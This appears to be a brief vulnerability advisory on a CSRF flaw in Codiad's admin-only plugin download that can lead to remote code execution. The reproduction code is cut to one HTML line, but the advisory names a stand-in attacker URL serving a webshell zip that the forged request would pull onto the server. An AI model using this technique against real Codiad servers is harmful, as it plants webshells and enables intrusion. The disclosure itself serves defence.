Summary
A Cross Side Request Forgery (CSRF) vulnerability was found in Codiad. The request to download a plugin from the marketplace is only available to admin users and it isn’t CSRF protected. This might cause admins to make a vulnerable request without them knowing and result in an RCE.
Product
Codiad from v1.7.8.
Impact
An malicious link sent to the an admin can result in a webshell on the server.
Steps to reproduce
1 | <html><head></head> |
Expected result:
A webshell from http://evilWebSite/webshell/webshell.zip
will be downloaded to the server.
Remediation
There is no fixed version of Codiad.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.